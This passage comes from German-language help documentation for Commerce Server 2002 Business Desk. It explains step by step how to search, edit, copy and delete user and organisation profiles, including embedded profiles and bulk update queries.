  3. Um eine neue Aktualisierungsabfrage zu erstellen, klicken Sie im Bildschirm Anzahl der Profile Profile aktualisieren auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Erste Dropdownliste (links) Wählen Sie in der ersten Dropdownliste die Option Benutzerobjekt aus, wählen Sie anschließend die Eigenschaftsgruppe aus, und klicken Sie dann auf die Eigenschaft, die Sie in der Aktualisierungsabfrage verwenden möchten.

    Hinweis

    • Der Eigenschaftstyp der ausgewählten Eigenschaft bestimmt, welche Bedingungen für die Abfrage in der zweiten Dropdownliste verfügbar sind. Wenn die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge ist, können Sie die folgenden Suchbedingungen wählen: ist gleich, enthält oder beginnt mit. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, stehen die Suchbedingungen ist gleich oder ist ungleich zur Verfügung.
    Zweite Dropdownliste (Mitte) | Wählen Sie die Bedingung für die Aktualisierungsabfrage aus.
    Dritte Dropdownliste (rechts) Wählen Sie den neuen Eigenschaftswert aus, oder geben Sie ihn ein.

    Der Eigenschaftstyp der im ersten Feld ausgewählten Eigenschaft bestimmt, wie die Änderung für diese Eigenschaft eingegeben wird.

    Ist die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge, geben Sie die gesuchte Zeichenfolge in das dritte Feld ein. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, klicken Sie auf die Auslassungsschaltfläche, um das Dialogfeld Wählen Sie einen Sitebegriff aus zu öffnen. Wählen Sie anschließend den Begriff aus, dem Sie die Eigenschaft zuweisen möchten.
  4. Klicken Sie auf Übernehmen, um die neue Aktualisierungsabfrage zu erstellen.
  5. Um eine andere Aktualisierungsabfrage zu erstellen, wiederholen Sie die Schritte 3 und 4.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Aktualisierungsabfrage zu speichern und zum Bildschirm Benutzerobjekt zurückzukehren.

Die Benutzerprofile werden mit den neuen Informationen gespeichert.

Siehe auch

Hinzufügen eines Benutzerprofils

Suchen von Benutzerprofilen in Adressenlisten

Bearbeiten von Benutzerprofilen


Bearbeiten eines eingebetteten Benutzerprofils

Mithilfe des Benutzermoduls können Sie bis zu vier Ebenen (einschließlich der obersten Ebene) von eingebetteten Benutzerprofilen bearbeiten. Darüber hinaus können Sie die Profile mithilfe des Benutzermoduls auch einzeln bearbeiten.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So bearbeiten Sie ein eingebettetes Benutzerprofil

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wählen Sie im Bildschirm Benutzerobjekt das Profil mit dem eingebetteten Profil aus, das bearbeitet werden soll, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.

    Hinweis

    • Mithilfe des Bereichs Suchen im oberen Teil des Bildschirms Benutzerobjekt können Sie ein bestimmtes Profil anzeigen. Informationen über das Suchen eines Benutzerprofils finden Sie unter Suchen eines Benutzerprofils.
  3. Wählen Sie im Bildschirm Profil aktualisieren: Benutzerprofil in der Eigenschaft, die das eingebettete Profil enthält, das eingebettete Profil aus der Dropdownliste aus, das Sie bearbeiten möchten.

    Hinweis

    • Um die nächste Ebene eines eingebetteten Profils zu bearbeiten, wiederholen Sie Schritt 3.
  4. Ändern Sie das eingebettete Profil wie gewünscht.
  5. Um das eingebettete Profil zu speichern und zum Bildschirm Profil aktualisieren: Benutzerprofil zurückzukehren, klicken Sie auf der Symbolleiste auf Speichern und zurück.
  6. Um das Benutzerprofil zu speichern und zum Bildschirm Benutzerobjekt zurückzukehren, klicken Sie auf der Symbolleiste auf Speichern und zurück.

Das bearbeitete eingebettete Profil wird gespeichert.


Kopieren eines Benutzerprofils

Mithilfe des Benutzermoduls können vorhandene Profile kopiert werden. Wenn Sie z. B. ein neues Benutzerprofil für einen Benutzer hinzufügen möchten, dessen Profil einem vorhandenen Benutzerprofil sehr ähnlich ist, kopieren Sie einfach das vorhandene Benutzerprofil, nehmen Sie die erforderlichen Änderungen vor, und speichern Sie das Profil als Profil für einen neuen Benutzer.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So kopieren Sie ein Benutzerprofil

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wählen Sie im Bildschirm Benutzerobjekt das Profil aus, das Sie kopieren möchten, und klicken Sie anschließend auf der Symbolleiste auf Kopieren.

    Hinweis

    • Mithilfe des Bereichs Suchen im oberen Teil des Bildschirms Benutzerobjekt können Sie ein bestimmtes Profil anzeigen. Informationen über das Suchen eines Benutzerprofils finden Sie unter Suchen eines Benutzerprofils.
  3. Führen Sie im Bildschirm Neues Profil (kopieren) im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Anmeldename | Geben Sie den Anmeldenamen für das neue Benutzerprofil ein.
    Benutzerkennwort | Geben Sie das Kennwort für das neue Benutzerprofil ein. Kennwörter müssen zwischen 7 und 14 alphanumerische Zeichen enthalten. Die Verwendung von Leerzeichen ist nicht zulässig.
  4. Ändern Sie die vorhandenen Informationen im kopierten Profil nach Bedarf.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das neue Profil zu speichern und zum Bildschirm Benutzerobjekt zurückzukehren.

Das neue Profil wird gespeichert.

Siehe auch

Informationen über Profile

Hinzufügen eines Benutzerprofils

Bearbeiten von Benutzerprofilen

Löschen von Benutzerprofilen

Suchen eines Benutzerprofils


Löschen von Benutzerprofilen

Mithilfe des Benutzermoduls werden vorhandene Profile aus der Commerce Server-Datenbank entfernt.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um den Inhalt einer Eigenschaft zu löschen, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist.

So löschen Sie ein Benutzerprofil

So löschen Sie mehrere Benutzerprofile

So löschen Sie ein eingebettetes Benutzerprofil

Vorsicht

  • Ein einmal gelöschtes Profil kann nicht wiederhergestellt werden.

So löschen Sie ein Benutzerprofil

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wählen Sie im Bildschirm Benutzerobjekt die Benutzerprofile aus, die Sie löschen möchten, und klicken Sie dann auf der Symbolleiste auf Löschen.

    Hinweis

    • Mithilfe des Bereichs Suchen im oberen Teil des Bildschirms Benutzerobjekt können Sie ein bestimmtes Profil anzeigen. Informationen über das Suchen eines Benutzerprofils finden Sie unter Suchen eines Benutzerprofils.
  3. Klicken Sie im Dialogfeld Löschen auf OK, um das Benutzerprofil zu löschen.

Das Benutzerprofil wird gelöscht.

So löschen Sie mehrere Benutzerprofile

Hinweis

  • Wenn Sie auf Alle auswählen klicken, um alle Benutzerprofile in der Liste Gefilterte Ansicht auszuwählen, werden nur die Benutzerprofile im aktuellen Bildschirm (maximal 20 Benutzer pro Bildschirm) ausgewählt.
  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wählen Sie im Bildschirm Benutzerobjekt die Benutzerprofile aus, die Sie löschen möchten, und klicken Sie dann auf der Symbolleiste auf Löschen .

    Hinweis

    • Mithilfe des Bereichs Suchen im oberen Teil des Bildschirms Benutzerobjekt können Sie ein bestimmtes Profil anzeigen. Informationen über das Suchen eines Benutzerprofils finden Sie unter Suchen eines Benutzerprofils.
  3. Klicken Sie im Dialogfeld Löschen auf OK, um die ausgewählten Profile zu löschen.

    Die Benutzerprofile werden gelöscht.

  4. Klicken Sie auf der Symbolleiste auf Zurück, um zum Bildschirm Profile zurückzukehren.

So löschen Sie ein eingebettetes Benutzerprofil

  1. Klicken Sie im Menü Profile auf Benutzer.
  2. Wählen Sie im Bildschirm Benutzerobjekt das Benutzerprofil mit dem eingebetteten Profil aus, das Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .
  3. Öffnen Sie im Bildschirm Profil aktualisieren: Benutzerprofil die Dropdownliste der Eigenschaft, die das zu löschende Profil enthält, und klicken Sie dann auf Profilverweis entfernen.
  4. Klicken Sie im Dialogfeld Löschen auf OK, um das eingebettete Benutzerprofil zu löschen.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das aktualisierte Profil zu speichern und zum Bildschirm Benutzerobjekt zurückzukehren.

Daraufhin wird das Profil gespeichert und das eingebettete Profil aus der Profildatenbank gelöscht.

Siehe auch

Informationen über Profile

Hinzufügen eines Benutzerprofils

Bearbeiten von Benutzerprofilen

Kopieren eines Benutzerprofils

Suchen eines Benutzerprofils


Verwalten von Organisationsprofilen

Organisationsprofile enthalten Informationen zu Organisationen, beispielsweise die Gruppe, Abteilung oder eine andere Geschäftseinheit innerhalb eines Unternehmens. Mithilfe des Organisationsmoduls können Sie Informationen über Organisationen suchen, hinzuzufügen und löschen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Suchen eines Organisationsprofils
  • Erstellen eines Ausdrucks für die Suche nach einem Organisationsprofil
  • Bearbeiten von Organisationsprofilen
  • Kopieren eines Organisationsprofils
  • Löschen von Organisationsprofilen


Suchen eines Organisationsprofils

Mithilfe des Organisationsmoduls können Sie Ihre Website nach einem Organisationsprofil oder einer Gruppe von Organisationsprofilen durchsuchen. Im Bereich Suchen können Sie die Suche mit den Eigenschaften der Profildefinition und den Werten im Profil einschränken. So können Sie beispielsweise nach einem Organisationsprofil suchen, das in der Profileigenschaft "Name" den Wert "technisch" enthält. Die Liste Gefilterte Ansicht unterhalb des Bereichs Suchen enthält alle Organisationsprofile, die den Suchkriterien entsprechen.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

So suchen Sie ein Organisationsprofil

  1. Klicken Sie im Menü Profile auf Organisationen.
  2. Wenn der Bereich Suchen des Bildschirms Organisation nicht geöffnet ist, klicken Sie auf der Symbolleiste auf Suchen.
  3. Im Dropdownfeld Suchen nach können Sie folgende Schritte ausführen:
    Funktion | Aktion
    Name | Suchen nach einem Organisationsprofil mithilfe des Namens.
    Zuletzt geändert am | Suchen nach einem Organisationsprofil, das an einem bestimmten Datum geändert wurde.
    Erstellt am | Suchen nach einem Organisationsprofil, das an einem bestimmten Datum erstellt wurde.
    Nach Eigenschaft suchen | Suchen nach einem Organisationsprofil mithilfe der Eigenschaft. Verwenden Sie diese Option zum Erstellen eines Ausdrucks, um ein Organisationsprofil zu suchen.
  4. Nun wird ein Feld für den Eigenschaftswert angezeigt, in das Sie den betreffenden Wert der ausgewählten Eigenschaften eingeben bzw. aus der Dropdownliste auswählen können (z. B. den Namen des gesuchten Organisationsprofils).

    Hinweise

    • Wenn Sie die Suche noch weiter eingrenzen möchten, können Sie in der Dropdownliste Suchen nach den Eintrag Nach Eigenschaft suchen auswählen und einen Ausdruck für die Suche nach einem Organisationsprofil erstellen.
    • Mithilfe eines Platzhalters (*) haben Sie die Möglichkeit, eine beliebige Anzahl von Zeichen in die Suche aufzunehmen. Mit der Zeichenfolge t* wird beispielsweise nach allen Benutzern gesucht, deren Name mit dem Buchstaben "t" beginnt.
  5. Klicken Sie auf Suchen.
Vorsicht
  • Bei der Suche nach Organisationsprofilen ist es wichtig, die Suche anhand von Kriterien zu begrenzen, um die Anzahl von gefundenen Organisationsprofilen einzuschränken. Wenn Ihre Suchkriterien auf eine große Zahl von Organisationsprofilen zutreffen, können die Ergebnisse die Leistung von Commerce Server Business Desk deutlich beeinträchtigen.

Die Suche wird nun durchgeführt. Ist die Suche erfolgreich, werden die gefundenen Organisationsprofile in der Liste Gefilterte Ansicht angezeigt. Ist die Suche ergebnislos, wird die Meldung Keines der Elemente stimmt mit dem Suchbegriff überein angezeigt.

Siehe auch

Informationen über Profile

Hinzufügen eines Organisationsprofils

Bearbeiten von Organisationsprofilen

Erstellen eines Ausdrucks für die Suche nach einem Organisationsprofil

Kopieren eines Organisationsprofils

Löschen von Organisationsprofilen


Erstellen eines Ausdrucks für die Suche nach einem Organisationsprofil

Um die Suche weiter einzugrenzen, können Sie einen Ausdruck erstellen. Ausdrücke sind Zusammenstellungen aus Eigenschaften, Operatoren und Werten, die zu einem Ergebnis ausgewertet werden können. Ein Ausdruck kann "Nummer des Handelspartners ist gleich 4" sein.

So erstellen Sie einen Ausdruck für die Suche nach einem Organisationsprofil

  1. Klicken Sie im Menü Profile auf Organisationen.
  2. Wählen Sie im Bildschirm Organisationen das Organisationsprofil aus, und klicken Sie anschließend auf der Symbolleiste auf Öffnen.
  3. Wenn der Bereich Suchen nicht geöffnet ist, klicken Sie auf der Symbolleiste auf Suchen.
  4. Wählen Sie in der Dropdownliste im Feld Suchen nach den Eintrag Nach Eigenschaft suchen aus.
  5. Klicken Sie im Bereich Suchen auf Neu.
  6. Doppelklicken Sie in der ersten Dropdownliste auf die Eigenschaftsgruppe, und wählen Sie dann die Eigenschaft aus, die Sie für die Suche verwenden möchten.

    Hinweis

    • Der Eigenschaftstyp der ausgewählten Eigenschaft bestimmt, welche Bedingungen für die Suche verfügbar sind. Wenn die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge ist, können Sie die folgenden Suchbedingungen wählen: ist gleich, enthält oder beginnt mit. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, stehen die Suchbedingungen ist gleich oder ist ungleich zur Verfügung.
  7. In der zweiten Dropdownliste wählen Sie nun die Suchbedingung aus.

    Hinweis

    • Der Eigenschaftstyp der ausgewählten Eigenschaft bestimmt, auf welche Weise Sie die Suchkriterien eingeben. Ist die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge, geben Sie die gesuchte Zeichenfolge in das dritte Feld ein. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, klicken Sie auf die Auslassungsschaltfläche, um das Dialogfeld Wählen Sie einen Sitebegriff aus zu öffnen, und wählen Sie anschließend den gesuchten Begriff aus.
  8. In das dritte Feld geben Sie die Suchkriterien ein oder wählen sie aus.
  9. Klicken Sie auf Übernehmen und dann auf Suchen.

Die Suche wird nun durchgeführt. Ist die Suche erfolgreich, werden die gefundenen Profile in der Liste Gefilterte Ansicht angezeigt. Ist die Suche ergebnislos, wird die Meldung Keines der Elemente stimmt mit dem Suchbegriff überein angezeigt.

Siehe auch

Informationen über Profile

Hinzufügen eines Organisationsprofils

Bearbeiten von Organisationsprofilen

Kopieren eines Organisationsprofils

Löschen von Organisationsprofilen


Bearbeiten von Organisationsprofilen

Im Organisationsmodul können Sie vorhandene Organisationsprofile bearbeiten. Sie können die Organisationsprofile einzeln oder mehrere Organisationsprofile gleichzeitig bearbeiten. Mithilfe des Moduls "Organisationen" können Sie darüber hinaus bis zu vier Ebenen von eingebetteten Organisationsprofilen bearbeiten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Bearbeiten eines einzelnen Organisationsprofils
  • Bearbeiten mehrerer Organisationsprofile
  • Bearbeiten eines eingebetteten Organisationsprofils


Bearbeiten eines einzelnen Organisationsprofils

Im Organisationsmodul können Sie vorhandene Organisationsprofile bearbeiten.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So bearbeiten Sie ein Organisationsprofil

  1. Klicken Sie im Menü Profile auf Organisationen.
  2. Wählen Sie im Bildschirm Organisation das Organisationsprofil aus, das Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .
    Hinweis
    • Im oberen Teil des Bildschirms Organisation finden Sie den Bereich Suchen, mit dem Sie das Profil einer bestimmten Organisation anzeigen können. Informationen über das Suchen eines Organisationsprofils finden Sie unter Suchen eines Organisationsprofils.
  3. Bearbeiten Sie das Organisationsprofil im Bildschirm Profil aktualisieren: Organisationsprofil.
    Hinweis
    • Informationen zum Bildschirm Profil aktualisieren: Organisationsprofil finden Sie unter Hinzufügen eines Organisationsprofils.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das Organisationsprofil zu speichern und zum Bildschirm Organisation zurückzukehren.

Das bearbeitete Organisationsprofil wird gespeichert.

Siehe auch

Informationen über Profile

Hinzufügen eines Organisationsprofils

Kopieren eines Organisationsprofils

Löschen von Organisationsprofilen

Suchen eines Organisationsprofils


Bearbeiten mehrerer Organisationsprofile

Im Organisationsmodul können Sie mehrere Organisationsprofile bearbeiten. Bei der Bearbeitung mehrerer Organisationsprofile nehmen Sie in allen bearbeiteten Profilen die gleichen Änderungen vor. Mithilfe einer Aktualisierungsabfrage wird der Wert einer Eigenschaft in mehreren Organisationsprofilen geändert.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So bearbeiten Sie mehrere Organisationsprofile

Hinweis

  • Wenn Sie auf Alle auswählen klicken, um alle Organisationsprofile in der Liste Gefilterte Ansicht auszuwählen, werden nur die Organisationsprofile im aktuellen Bildschirm (maximal 20 Organisationen pro Bildschirm) ausgewählt.
  1. Klicken Sie im Menü Profile auf Organisationen.
  2. Wählen Sie im Bildschirm Organisation die Profile aus, die Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .

    Hinweise

    • Mithilfe des Bereichs Suchen im oberen Teil des Bildschirms Organisation können Sie ein bestimmtes Profil anzeigen. Informationen über das Suchen eines Organisationsprofils finden Sie unter Suchen eines Organisationsprofils.
    • Um alle Organisationsprofile in der Liste Gefilterte Ansicht zu löschen, klicken Sie auf Alle auswählen. Um die Auswahl der Organisationsprofile in der Liste Gefilterte Ansicht aufzuheben, klicken Sie auf Auswahl aufheben.
  3. Um eine neue Aktualisierungsabfrage zu erstellen, klicken Sie im Bildschirm Anzahl der Profile Profile aktualisieren auf Neu, und führen Sie dann folgende Schritte aus:
    Funktion | Aktion
    Erste Dropdownliste (links) Wählen Sie in der ersten Dropdownliste die Option Organisation aus, wählen Sie anschließend die Eigenschaftsgruppe aus, und klicken Sie dann auf die Eigenschaft, die Sie in der Aktualisierungsabfrage verwenden möchten.

    Hinweis

    • Der Eigenschaftstyp der ausgewählten Eigenschaft bestimmt, welche Bedingungen für die Abfrage in der zweiten Dropdownliste verfügbar sind. Wenn die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge ist, können Sie die folgenden Suchbedingungen wählen: ist gleich, enthält oder beginnt mit. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, stehen die Suchbedingungen ist gleich oder ist ungleich zur Verfügung.
    Zweite Dropdownliste (Mitte) | Wählen Sie die Bedingung für die Aktualisierungsabfrage aus.
    Dritte Dropdownliste (rechts) Wählen Sie den neuen Eigenschaftswert aus, oder geben Sie ihn ein.

    Der Eigenschaftstyp der im ersten Feld ausgewählten Eigenschaft bestimmt, wie die Änderung für diese Eigenschaft eingegeben wird.

    Ist die ausgewählte Eigenschaft z. B. vom Typ Zeichenfolge, geben Sie die gesuchte Zeichenfolge in das dritte Feld ein. Wenn die ausgewählte Eigenschaft vom Typ Sitebegriff ist, klicken Sie auf die Auslassungsschaltfläche, um das Dialogfeld Wählen Sie einen Sitebegriff aus zu öffnen. Wählen Sie anschließend den Begriff aus, dem Sie die Eigenschaft zuweisen möchten.
  4. Klicken Sie auf Übernehmen, um die neue Aktualisierungsabfrage zu erstellen.
  5. Um eine andere Aktualisierungsabfrage zu erstellen, wiederholen Sie die Schritte 3 und 4.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Aktualisierungsabfrage zu speichern und zum Bildschirm Organisation zurückzukehren.

Die Organisationsprofile werden mit den neuen Informationen gespeichert.

Siehe auch

Informationen über Profile

Hinzufügen eines Organisationsprofils

Bearbeiten von Organisationsprofilen


Bearbeiten eines eingebetteten Organisationsprofils

Mithilfe des Moduls "Organisation" können Sie bis zu vier Ebenen (einschließlich der obersten Ebene) von eingebetteten Organisationsprofilen bearbeiten. Darüber hinaus können Sie mithilfe des Moduls "Organisation" die Profile einzeln bearbeiten.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So bearbeiten Sie ein eingebettetes Organisationsprofil

  1. Klicken Sie im Menü Profile auf Organisationen.
  2. Wählen Sie im Bildschirm Organisationen das Organisationsprofil mit dem eingebetteten Profil aus, das Sie bearbeiten möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .

    Hinweis

    • Im oberen Teil des Bildschirms Organisation finden Sie den Bereich Suchen, mit dem Sie ein bestimmtes Profil anzeigen können. Informationen über das Suchen eines Organisationsprofils finden Sie unter Suchen eines Organisationsprofils.
  3. Wählen Sie im Bildschirm Profil aktualisieren: Organisationsprofil in der Eigenschaft, die auf ein eingebettetes Profil verweist, das eingebettete Profil aus der Dropdownliste aus, das Sie bearbeiten möchten.

    Hinweis

    • Um die nächste Ebene eines eingebetteten Profils zu bearbeiten, wiederholen Sie Schritt 3.
  4. Ändern Sie das eingebettete Profil wie gewünscht.
  5. Um das eingebettete Profil zu speichern und zum Bildschirm Profil aktualisieren: Organisationsprofil zurückzukehren, klicken Sie auf der Symbolleiste auf Speichern und zurück.
  6. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das Organisationsprofil zu speichern und zum Bildschirm Organisation zurückzukehren.

Das bearbeitete eingebettete Profil wird gespeichert.

Siehe auch

Informationen über Profile

Hinzufügen eines Organisationsprofils

Kopieren eines Organisationsprofils

Löschen von Organisationsprofilen

Suchen eines Organisationsprofils


Kopieren eines Organisationsprofils

Mithilfe des Moduls "Organisationen" können vorhandene Organisationsprofile kopiert werden. Wenn Sie z. B. ein neues Organisationsprofil hinzufügen möchten, das einem vorhandenen Organisationsprofil sehr ähnlich ist, kopieren Sie einfach das vorhandene Organisationsprofil, nehmen Sie die erforderlichen Änderungen an den Profilinformationen vor, und speichern Sie dieses Profil als Profil für eine neue Organisation.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um eine Eigenschaft zu bearbeiten, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist. Nach dem Löschen von Datenbankspalten müssen Sie die alten Daten in die neuen Datenbankspalten migrieren. In Commerce Server 2002 kann die Eigenschaft Verbindungsschlüssel nicht bearbeitet werden, wenn persistente Daten vorhanden sind.

So kopieren Sie ein Organisationsprofil

  1. Klicken Sie im Menü Profile auf Organisationen.
  2. Wählen Sie im Bildschirm Organisation das Profil aus, das Sie kopieren möchten, und klicken Sie anschließend auf der Symbolleiste auf Kopieren.

    Hinweis

    • Im oberen Teil des Bildschirms Profildefinition finden Sie den Bereich Suchen, mit dem Sie ein bestimmtes Profil anzeigen können. Informationen über das Suchen eines Organisationsprofils finden Sie unter Suchen eines Organisationsprofils.
  3. Führen Sie im Bildschirm Neues Profil (kopieren) im Bereich Allgemeine Informationen folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie den Namen für die neue Organisation ein.
  4. Ändern Sie die vorhandenen Informationen im kopierten Organisationsprofil nach Bedarf.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das neue Organisationsprofil zu speichern und zum Bildschirm Organisation zurückzukehren.

Das neue Organisationsprofil wird gespeichert.

Siehe auch

Informationen über Profile

Hinzufügen eines Organisationsprofils

Bearbeiten von Organisationsprofilen

Löschen von Organisationsprofilen

Suchen eines Organisationsprofils


Löschen von Organisationsprofilen

Mithilfe des Moduls "Profil-Editor" werden vorhandene Profile aus der Commerce Server-Datenbank entfernt.

Um Änderungen an Sitebegriffen, Profildefinitionen und Profilen vornehmen zu können, müssen Sie Zugriff auf die Profilmodule haben. Informationen über Business Desk-Berechtigungen finden Sie unter Informationen über Business Desk-Sicherheit.

Hinweis

  • Um den Inhalt einer Eigenschaft zu löschen, die als Verbindungsschlüssel definiert ist und zum Sammeln von Daten verwendet wurde, müssen Sie zunächst die Datenbankspalte löschen, der die Eigenschaft zugeordnet ist.

So löschen Sie ein Organisationsprofil

So löschen Sie mehrere Organisationsprofile

So löschen Sie ein eingebettetes Organisationsprofil

Vorsicht

  • Ein einmal gelöschtes Organisationsprofil kann nicht wiederhergestellt werden.

So löschen Sie ein Organisationsprofil

  1. Klicken Sie im Menü Profile auf Organisationen.
  2. Wählen Sie im Bildschirm Organisation die Organisationsprofile aus, die Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Löschen .

    Hinweis

    • Im oberen Teil des Bildschirms Profildefinition finden Sie den Bereich Suchen, mit dem Sie ein bestimmtes Profil anzeigen können. Informationen über das Suchen eines Organisationsprofils finden Sie unter Suchen eines Organisationsprofils.
  3. Klicken Sie im Dialogfeld Löschen auf OK, um das Organisationsprofil zu löschen.

Das Organisationsprofil wird gelöscht.

So löschen Sie mehrere Organisationsprofile

Hinweis

  • Wenn Sie auf Alle auswählen klicken, um alle Organisationsprofile in der Liste Gefilterte Ansicht auszuwählen, werden nur die Organisationsprofile im aktuellen Bildschirm (maximal 20 Organisationen pro Bildschirm) ausgewählt.
  1. Klicken Sie im Menü Profile auf Organisationen.
  2. Wählen Sie im Bildschirm Organisation die Organisationsprofile aus, die Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Löschen .

    Hinweise

    • Mithilfe des Bereichs Suchen im oberen Teil des Bildschirms Organisation können Sie ein bestimmtes Profil anzeigen. Informationen über das Suchen eines Organisationsprofils finden Sie unter Suchen eines Organisationsprofils.
    • Um alle Organisationsprofile in der Liste Gefilterte Ansicht zu löschen, klicken Sie auf Alle auswählen. Um die Auswahl der Organisationsprofile in der Liste Gefilterte Ansicht aufzuheben, klicken Sie auf Auswahl aufheben.
  3. Klicken Sie im Dialogfeld Löschen auf OK, um die ausgewählten Profile zu löschen.

Die Organisationsprofile werden gelöscht.

So löschen Sie ein eingebettetes Organisationsprofil

  1. Klicken Sie im Menü Profile auf Organisationen.
  2. Wählen Sie im Bildschirm Organisation das Organisationsprofil mit dem eingebetteten Profil aus, das Sie löschen möchten, und klicken Sie anschließend auf der Symbolleiste auf Öffnen .
  3. Öffnen Sie im Bildschirm Profil aktualisieren: Organisationsprofil die Dropdownliste der Eigenschaft, die das zu löschende Profil enthält, und klicken Sie dann auf Profilverweis entfernen.
  4. Klicken Sie im Dialogfeld Löschen auf OK, um das eingebettete Benutzerprofil zu löschen.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um das aktualisierte Profil zu speichern und zum Bildschirm Organisation zurückzukehren.

Daraufhin wird das Profil gespeichert und das eingebettete Profil aus der Profildatenbank gelöscht.

Siehe auch

Informationen über Profile

Hinzufügen eines Organisationsprofils

Bearbeiten von Organisationsprofilen

Kopieren eines Organisationsprofils

Suchen eines Organisationsprofils


Verwalten von allgemeinen Profilen

